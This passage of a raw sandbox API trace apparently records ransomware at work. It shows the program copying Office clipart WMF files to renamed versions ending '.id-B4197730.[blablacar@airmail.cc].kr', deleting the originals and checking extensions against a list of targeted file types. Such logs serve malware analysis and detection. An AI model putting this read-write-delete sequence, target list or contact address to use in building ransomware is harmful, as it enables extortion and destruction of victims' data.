dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.748] GetLastError () returned 0x0 [0211.748] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1028, lpOverlapped=0x0) returned 1 [0211.750] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1030, lpOverlapped=0x0) returned 1 [0211.751] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.751] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.752] SetEndOfFile (hFile=0x36c) returned 1 [0211.752] CloseHandle (hObject=0x36c) returned 1 [0211.752] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.752] SetEndOfFile (hFile=0x3bc) returned 1 [0211.754] CloseHandle (hObject=0x3bc) returned 1 [0211.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0211.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.755] lstrlenW (lpString=".doc") returned 4 [0211.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.755] lstrlenW (lpString=".docx") returned 5 [0211.755] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.756] lstrlenW (lpString=".pdf") returned 4 [0211.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString=".xls") returned 4 [0211.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.756] lstrlenW (lpString=".xlsx") returned 5 [0211.756] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.756] lstrlenW (lpString=".ppt") returned 4 [0211.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.756] lstrlenW (lpString=".zip") returned 4 [0211.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.756] lstrlenW (lpString=".rar") returned 4 [0211.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString=".bz2") returned 4 [0211.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString=".7z") returned 3 [0211.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.756] lstrlenW (lpString=".dbf") returned 4 [0211.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.756] lstrlenW (lpString=".1cd") returned 4 [0211.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.756] lstrlenW (lpString=".jpg") returned 4 [0211.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.756] lstrlenW (lpString=".doc") returned 4 [0211.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.756] lstrlenW (lpString=".docx") returned 5 [0211.756] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.756] lstrlenW (lpString=".pdf") returned 4 [0211.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.757] lstrlenW (lpString=".xls") returned 4 [0211.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.757] lstrlenW (lpString=".xlsx") returned 5 [0211.757] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.757] lstrlenW (lpString=".ppt") returned 4 [0211.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.757] lstrlenW (lpString=".zip") returned 4 [0211.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.757] lstrlenW (lpString=".rar") returned 4 [0211.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.757] lstrlenW (lpString=".bz2") returned 4 [0211.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.757] lstrlenW (lpString=".7z") returned 3 [0211.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.757] lstrlenW (lpString=".dbf") returned 4 [0211.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.757] lstrlenW (lpString=".1cd") returned 4 [0211.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0211.757] lstrlenW (lpString=".jpg") returned 4 [0211.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.757] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.757] lstrlenW (lpString="J0107308.WMF") returned 12 [0211.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.758] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15888) returned 1 [0211.758] CloseHandle (hObject=0x3bc) returned 1 [0211.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220 [0211.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.759] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.759] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.759] GetLastError () returned 0x0 [0211.759] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3e10, lpOverlapped=0x0) returned 1 [0211.761] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3e20, lpOverlapped=0x0) returned 1 [0211.762] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.762] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.763] SetEndOfFile (hFile=0x36c) returned 1 [0211.763] CloseHandle (hObject=0x36c) returned 1 [0211.763] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.763] SetEndOfFile (hFile=0x3bc) returned 1 [0211.765] CloseHandle (hObject=0x3bc) returned 1 [0211.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0211.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.767] lstrlenW (lpString=".doc") returned 4 [0211.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.767] lstrlenW (lpString=".docx") returned 5 [0211.767] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.767] lstrlenW (lpString=".pdf") returned 4 [0211.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.767] lstrlenW (lpString=".xls") returned 4 [0211.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.767] lstrlenW (lpString=".xlsx") returned 5 [0211.767] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.767] lstrlenW (lpString=".ppt") returned 4 [0211.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.767] lstrlenW (lpString=".zip") returned 4 [0211.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.767] lstrlenW (lpString=".rar") returned 4 [0211.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString=".bz2") returned 4 [0211.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString=".7z") returned 3 [0211.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.768] lstrlenW (lpString=".dbf") returned 4 [0211.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.768] lstrlenW (lpString=".1cd") returned 4 [0211.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.768] lstrlenW (lpString=".jpg") returned 4 [0211.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.768] lstrlenW (lpString=".doc") returned 4 [0211.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString=".docx") returned 5 [0211.768] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.768] lstrlenW (lpString=".pdf") returned 4 [0211.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString=".xls") returned 4 [0211.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.768] lstrlenW (lpString=".xlsx") returned 5 [0211.768] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.768] lstrlenW (lpString=".ppt") returned 4 [0211.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.768] lstrlenW (lpString=".zip") returned 4 [0211.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.769] lstrlenW (lpString=".rar") returned 4 [0211.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.769] lstrlenW (lpString=".bz2") returned 4 [0211.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.769] lstrlenW (lpString=".7z") returned 3 [0211.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.769] lstrlenW (lpString=".dbf") returned 4 [0211.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.769] lstrlenW (lpString=".1cd") returned 4 [0211.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0211.769] lstrlenW (lpString=".jpg") returned 4 [0211.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.769] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.769] lstrlenW (lpString="J0107314.WMF") returned 12 [0211.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.954] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10852) returned 1 [0211.955] CloseHandle (hObject=0x56c) returned 1 [0211.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220 [0211.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.955] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.955] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.956] GetLastError () returned 0x0 [0211.956] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0211.957] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0211.958] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.958] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.959] SetEndOfFile (hFile=0x4d4) returned 1 [0211.959] CloseHandle (hObject=0x4d4) returned 1 [0211.959] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.959] SetEndOfFile (hFile=0x56c) returned 1 [0211.961] CloseHandle (hObject=0x56c) returned 1 [0211.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0211.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.963] lstrlenW (lpString=".doc") returned 4 [0211.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.963] lstrlenW (lpString=".docx") returned 5 [0211.963] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.963] lstrlenW (lpString=".pdf") returned 4 [0211.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.963] lstrlenW (lpString=".xls") returned 4 [0211.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.963] lstrlenW (lpString=".xlsx") returned 5 [0211.963] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.963] lstrlenW (lpString=".ppt") returned 4 [0211.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.963] lstrlenW (lpString=".zip") returned 4 [0211.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.963] lstrlenW (lpString=".rar") returned 4 [0211.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.963] lstrlenW (lpString=".bz2") returned 4 [0211.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.963] lstrlenW (lpString=".7z") returned 3 [0211.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.964] lstrlenW (lpString=".dbf") returned 4 [0211.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.964] lstrlenW (lpString=".1cd") returned 4 [0211.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.964] lstrlenW (lpString=".jpg") returned 4 [0211.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.964] lstrlenW (lpString=".doc") returned 4 [0211.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString=".docx") returned 5 [0211.964] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.964] lstrlenW (lpString=".pdf") returned 4 [0211.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString=".xls") returned 4 [0211.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.964] lstrlenW (lpString=".xlsx") returned 5 [0211.964] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.964] lstrlenW (lpString=".ppt") returned 4 [0211.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.964] lstrlenW (lpString=".zip") returned 4 [0211.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.964] lstrlenW (lpString=".rar") returned 4 [0211.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString=".bz2") returned 4 [0211.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.964] lstrlenW (lpString=".7z") returned 3 [0211.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.965] lstrlenW (lpString=".dbf") returned 4 [0211.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.965] lstrlenW (lpString=".1cd") returned 4 [0211.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0211.965] lstrlenW (lpString=".jpg") returned 4 [0211.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.965] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.965] lstrlenW (lpString="J0107344.WMF") returned 12 [0211.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.966] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5076) returned 1 [0211.966] CloseHandle (hObject=0x56c) returned 1 [0211.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220 [0211.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.966] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.966] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.967] GetLastError () returned 0x0 [0211.967] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x13d4, lpOverlapped=0x0) returned 1 [0211.968] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, 